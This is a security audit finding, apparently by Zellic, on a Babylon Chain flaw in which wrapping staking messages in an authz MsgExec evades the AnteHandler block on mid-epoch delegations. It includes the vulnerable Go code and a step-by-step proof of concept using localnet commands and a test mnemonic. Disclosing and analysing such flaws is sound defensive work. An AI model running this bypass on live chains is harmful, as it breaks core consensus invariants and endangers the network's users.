Assessment reports>Babylon Chain>Critical findings>Authz module can be used to bypass validator message checks
Category: Coding Mistakes

Authz module can be used to bypass validator message checks

Critical Severity
Critical Impact
High Likelihood

Description

The Babylon chain uses an epoching system, and one of the core invariants of this system is that there should be no modifications to the validator set, and no new validator delegations, undelegations, or redelegations in the middle of an epoch. These actions should only be permitted in the first block of a new epoch.

This is achieved by blacklisting every x/staking module message in an AnteHandler. The code for that is here:

func (qmd DropValidatorMsgDecorator) AnteHandle(ctx sdk.Context, tx sdk.Tx, simulate bool, next sdk.AnteHandler) (newCtx sdk.Context, err error) {
	// skip if at genesis block, as genesis state contains txs that bootstrap the initial validator set
	if ctx.BlockHeight() == 0 {
		return next(ctx, tx, simulate)
	}
	// after genesis, if validator-related message, reject msg
	for _, msg := range tx.GetMsgs() {
		if qmd.IsValidatorRelatedMsg(msg) {
			return ctx, epochingtypes.ErrUnwrappedMsgType
		}
	}

	return next(ctx, tx, simulate)
}

// IsValidatorRelatedMsg checks if the given message is of non-wrapped type, which should be rejected
func (qmd DropValidatorMsgDecorator) IsValidatorRelatedMsg(msg sdk.Msg) bool {
	switch msg.(type) {
	case *stakingtypes.MsgCreateValidator, *stakingtypes.MsgDelegate, *stakingtypes.MsgUndelegate, *stakingtypes.MsgBeginRedelegate, *stakingtypes.MsgCancelUnbondingDelegation:
		return true
	default:
		return false
	}
}

Impact

The issue arises because Babylon also supports the authz Cosmos module, which includes a message called MsgExec. This message allows you to wrap and execute another message within it.

In this case, a malicious user can wrap, say, a MsgDelegate within a MsgExec, which would bypass the IsValidatorRelatedMsg() check (since the actual msg.(type) is MsgExec now), and thus allow that user to execute one of these blacklisted messages in the middle of an epoch.

This breaks a core invariant, which will likely have catastrophic effects across the whole chain because the x/epoching, x/checkpointing, and other modules assume that this core invariant cannot be broken.

A proof of concept to showcase this vulnerability is shown below. To begin, set up the Babylon local network by running the following commands from the Babylon repository's root directory. These make use of docker and docker-compose:

$ make build-docker
$ make localnet-start-nodes

Once the nodes are started, gain a shell into one of the containers by running the following command:

$ docker exec -it babylondnode0 bash

Now, within the container, recover one of the validator keys. This can be done as follows:

# Outside the container, run this
$ cat ./.testnets/node0/babylond/key_seed.json
{"secret":"soldier horse seminar pepper believe domain early custom effort bounce aim special pact job combine place utility front tip follow garage fatal envelope science"}

# Inside the container, run this using the mnemonic from above
babylon@3f4bcf6e1bcd:~$ babylond keys add admin --recover
> Enter your bip39 mnemonic
soldier horse seminar pepper believe domain early custom effort bounce aim special pact job combine place utility front tip follow garage fatal envelope science
Enter keyring passphrase (attempt 1/3):

- address: bbn1m0r4epzy6jaqpl22gpnyg9kl6nuajacen7t9ap
  name: admin
  pubkey: '{"@type":"/cosmos.crypto.secp256k1.PubKey","key":"A7lK7fDpmHt05jMvp3OLEQRKU8jFoN0Vp52KeFbVPp9O"}'
  type: local

Finally, fetch a validator address from ./.testnets/node0/babylond/config/genesis.json. In this example, the address will be bbnvaloper1edm8cfw8m0ptws26kgms6dzaqnjtmqe0u9nxyj.

Let us attempt to use the Cosmos staking module to delegate some tokens to this address:

babylon@3f4bcf6e1bcd:~$ babylond tx staking delegate bbnvaloper1edm8cfw8m0ptws26kgms6dzaqnjtmqe0u9nxyj 1ubbn --from admin --chain-id chain-test -b sync --fees 2ubbn

# [ ... ] output snipped
raw_log: "\n\t\t\t\t\t\t\t\t\t\tinvalid message type in {MsgCreateValidator, MsgDelegate,
  MsgUndelegate, MsgBeginRedelegate, MsgCancelUnbondingDelegation}\n\t\t\t\t\t\t\t\t\t\tmessages.
  For creating a validator use the wrapped version under 'tx checkpointing create-validator'\n\t\t\t\t\t\t\t\t\t\tand
  for the other messages use the wrapped versions under 'tx epoching {delegate,undelegate,redelegate,cancel-unbond}'"

The node correctly prevents us from delegating tokens, as this must only be done through the x/epoching module.

However, let us now generate this transaction as a JSON file, and then attempt to execute it using the x/authz module:

babylon@3f4bcf6e1bcd:~$ babylond tx staking delegate bbnvaloper1edm8cfw8m0ptws26kgms6dzaqnjtmqe0u9nxyj 1ubbn --from admin --chain-id chain-test -b sync --fees 2ubbn --generate-only > test_tx.json

babylon@3f4bcf6e1bcd:~$ babylond tx authz exec ./test_tx.json --from admin --chain-id chain-test -b sync --fees 2ubbn

Executing this, the output will show that the delegation went through successfully, which is incorrect.

Recommendations

An authz module message check needs to be added, similar to how Evmos has done it here: https://github.com/evmos/evmos/blob/main/app/ante/cosmos/authz.go#L31-L90.

Note that the check must also check for nested MsgExec messages. A recursion limit should be set in this check to prevent a user from being able to soft-DOS Babylon nodes.

Another alternative is to disable the authz module entirely.

Remediation

Tracked by https://github.com/babylonchain/babylon/issues/690.

Zellic © 2025Back to top ↑